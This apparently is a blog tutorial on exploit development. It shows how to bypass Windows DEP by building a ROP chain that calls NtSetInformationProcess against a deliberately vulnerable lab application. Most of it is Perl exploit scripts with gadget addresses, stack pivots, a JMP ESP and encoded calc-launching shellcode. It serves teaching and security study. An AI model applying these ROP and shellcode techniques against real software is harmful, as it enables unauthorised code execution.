Exploit Development 3: ROP buffer overflow

In the previous two tutorials we looked at how to exploit the vulnerable application with EIP as well as SEH based buffer overflow attacks.

This time we will have a look at how to exploit the application when DEP (Data Execution Protection) is enabled. Code execution will be forbidden on the stack and will result in an access violation.

ROP (Return-Oriented-Programming) can be used to bypass code execution protection on the stack. Most of today’s modern CPU’s support the NX (No Execute) technology. Microsoft started to support the hardware implementation of this feature with Windows XP SP2.

In order to succeed with the exploit, the stack has to be set up in a special way. As the name implies the stack has to contain a sequence of code fragments being terminated by return instructions. These code fragments are called “ROP gadgets”.

We can either write the whole exploit with ROP gadgets being chained together or the ROP gadgets can be used to selectively disable the DEP only. We will opt for the latter choice. This way we just inject the shellcode as we did in the previous tutorials, once DEP has been disabled. We will use the NtSetInformationProcess() function to do the job.

The technique was originally discovered by skape & Skywing and they have written an excellent paper about it: Bypassing Windows Hardware-enforced Data Execution Prevention

Setup

Compile the vulnerable application with the following compiler flags:


/GS- /DYNAMICBASE:NO /NXCOMPAT:YES /SAFESEH:YES

Analysis

Let’s load our vulnerable application into Immunity and start the hunt for some useful ROP gadgets with “pvefindaddr”:

3-pvefindaddr

As you see the ROP chain is composed of 2 gadgets:

  • Phase 1 : set eax to 1 and return
  • Phase 2 : compare AL with 1, push 0x2 and pop esi

There are addresses for EBP stack adjustments as well, which will also come handy.

We will use the following addresses:

  • 0x77EEDC68 (EBP stack adjustment)
  • 0x7C80C190 (Phase 1)
  • 0x7C91CD24 (Phase 2)

So let’s start crafting an exploit with the information we have so far. We overwrite the buffer, the extra 2 bytes and EBP as usual (16 bytes). In the next step we have to set up the EBP register to point to a valid address on the stack. Notice that the EBP stack adjustment gadget ends with “RETN 4”, so make sure to compensate the 4 extra bytes on the stack.


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $ebp_stack_adjustment = pack('V',0x77EEDC68);
my $phase_1 = pack('V',0x7C80C190);
my $padding = "\x90" x 4;
my $phase_2 = pack('V',0x7C91CD24);

open($FILE,">$file");
print $FILE $overflow
.$ebp_stack_adjustment
.$phase_1
.$padding
.$phase_2;

close($FILE);
print "File created\n";

Execute the script and copy the generated “attack_test.txt” file into the same folder where the vulnerable application is located.

Run the Immunity debugger and open the application. Set a breakpoint at 0x004010F6 and run the application.

3-stacklayout

The stack (bottom right window) is now set up correctly with the 3 previously obtained addresses.

Now we’re ready to start stepping through the code. Every time a return instruction is executed, the top stack value is popped into the EIP register and thereby control flow passed.


77EEDC68 PUSH ESP
77EEDC69 POP EBP
77EEDC6A RETN 4

7C80C190 MOV AL,1
7C80C192 RETN

7C91CD24 3C CMP AL,1
7C91CD26 6A PUSH 2
7C91CD28 POP ESI
7C91CD29 JE ntdll.7C93F70E

7C93F70E MOV DWORD PTR SS:[EBP-4],ESI
7C93F711 JMP ntdll.7C91CD2F

7C91CD2F CMP DWORD PTR SS:[EBP-4],0
7C91CD33 JNZ ntdll.7C936831

7C936831 PUSH 4
7C936833 LEA EAX,DWORD PTR SS:[EBP-4]
7C936836 PUSH EAX
7C936837 PUSH 22
7C936839 PUSH -1
7C93683B CALL ntdll.ZwSetInformationProcess
7C936840 JMP ntdll.7C91CD6D

7C91CD6D POP ESI
7C91CD6E LEAVE
7C91CD6F RETN 4

Notice during stepping that code 0xC000000D is returned into EAX after the ZwSetInformationProcess() function has been called. If the call would have been successful the code 0x00000000 would have been returned.

If you follow the calls all the way down to the ZwSetInformationProcess() function, you’ll notice that the “ExecuteFlags” that were written to EBP-4 at address 0x7C93F70E get overwritten when parameter “NtCurrentProcess()” is being pushed onto the stack.

// Taken from skape's & Skywing's paper
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
 NtCurrentProcess(),    // (HANDLE)-1
 ProcessExecuteFlags,   // 0x22
 &ExecuteFlags,         // ptr to 0x2
 sizeof(ExecuteFlags)); // 0x4

Remember the EBP stack alignment ROP gadget we ran, where EBP was set to point to the same address where ESP was at that time? The close proximity of the two pointers cause the problem in our case, so we have to pivot the stack pointer a little bit higher in order to prevent overwrites by push operations.

Mona plugin can help to find such stack pivoting gadgets:

3-monarop

Open “stackpivot.txt” in the Immunity program folder and take a closer look at the entries. To move the ESP pointer by 0x18 bytes should be enough:

0x1234132c : {pivot 24 / 0x18} :  # ADD ESP,18 # RETN    ** [ExploitLib.dll] **   |  ascii {PAGE_EXECUTE_READ}

We have to make up for the shift on the stack, so let’s add an equivalent of 0x18 bytes of data. Also adjust the position of the padding in the stack to match the new stack layout. A “shellcode” variable containing placeholders is added as well after phase 2.

The Perl script looks now as follows:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $ebp_stack_adjustment = pack('V',0x77EEDC68);
my $stack_pivot_18 = pack('V',0x1234132C);
my $stack_shift = "X" x 0x18;
my $phase_1 = pack('V',0x7C80C190);
my $padding = "\x90" x 4;
my $phase_2 = pack('V',0x7C91CD24);
my $shellcode = "A" x 0x40;

open($FILE,">$file");
print $FILE $overflow
.$ebp_stack_adjustment
.$stack_pivot_18
.$padding
.$stack_shift
.$phase_1
.$phase_2
.$shellcode;

close($FILE);
print "File created\n";

If we step through the application with the newly created script, we end up at the following place after DEP was successfully disabled and program flow is about to be returned:

3-stacklayout2

We land in the memory area which we originally used for padding. The padding could also be used for some practical purposes, like a ROP gadget used to increase the ESP a little further. By doing so, we could make the ESP point to the location just after phase 2 of disabling DEP. The distance we have to account for is 0x1C bytes.

In “stackpivot.txt” there’s an entry with exactly this size:

0x12341989 : {pivot 28 / 0x1c} :  # ADD ESP,18 # POP EBP # RETN    ** [ExploitLib.dll] **   |   {PAGE_EXECUTE_READ}

3-stacklayout3

When the “padding” variable is replaced with the second stack pivoting variable and executed, ESP points directly to the beginning of the dummy shellcode. All we have to do, is to find an address with the instruction “JMP ESP” and plug it in before the shellcode placeholder.

Mona can help us to determine the opcode:


!mona asm -s jmp esp

jmp esp = \xff\xe4
Full opcode : \xff\xe4

Mona can help us as well to find the opcode in the loaded memory:


!mona find -s \xff\xe4
0x7c86467b : \xff\xe4 |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
...

We adjust the script to use the first (or any other) occurrence:

my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $ebp_stack_adjustment = pack('V',0x77EEDC68);
my $stack_pivot_18 = pack('V',0x1234132C);
my $stack_pivot_1c = pack('V',0x12341989);
my $stack_shift = "X" x 0x18;
my $phase_1 = pack('V',0x7C80C190);
my $phase_2 = pack('V',0x7C91CD24);
my $jmp_esp = pack('V',0x7C86467B);
my $shellcode = "A" x 0x40;

open($FILE,">$file");
print $FILE $overflow
.$ebp_stack_adjustment
.$stack_pivot_18
.$stack_pivot_1c
.$stack_shift
.$phase_1
.$phase_2
.$jmp_esp
.$shellcode;

close($FILE);
print "File created\n";

Since we’re now back in control of stack, we can just execute the shellcode as we used to in the previous two tutorials. Make sure to add some extra padding of at least 6 bytes before the actual shellcode in order to prevent overwriting parts of the decoder.

Exploit

So the final Perl looks like this:


my $file = "attack_test.txt";

my $overflow = "0123456789ABCDEF";
my $ebp_stack_adjustment = pack('V',0x77EEDC68);
my $stack_pivot_18 = pack('V',0x1234132C);
my $stack_pivot_1c = pack('V',0x12341989);
my $stack_shift = "X" x 0x18;
my $phase_1 = pack('V',0x7C80C190);
my $phase_2 = pack('V',0x7C91CD24);
my $jmp_esp = pack('V',0x7C86467B);
my $shikata_ga_nai_buffer = "\x90" x 0x06;
my $shellcode_calc_encoded =
"\xb8\xa9\x2f\x59\x6a\xda\xdd\xd9\x74\x24\xf4\x5d\x2b\xc9" .
"\xb1\x05\x83\xed\xfc\x31\x45\x0e\x03\xec\x21\xbb\x9f\xdf" .
"\xf4\x6a\x08\x7c\x66\xe1\xab\xd6\xd0\x89\x3b\x9a\x20\x95" .
"\xec";

open($FILE,">$file");
print $FILE $overflow
.$ebp_stack_adjustment
.$stack_pivot_18
.$stack_pivot_1c
.$stack_shift
.$phase_1
.$phase_2
.$jmp_esp
.$shikata_ga_nai_buffer
.$shellcode_calc_encoded;

close($FILE);
print "File created\n";

Congratulations! We just bypassed DEP and got the ROP based exploit working!

3-ropexploit

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s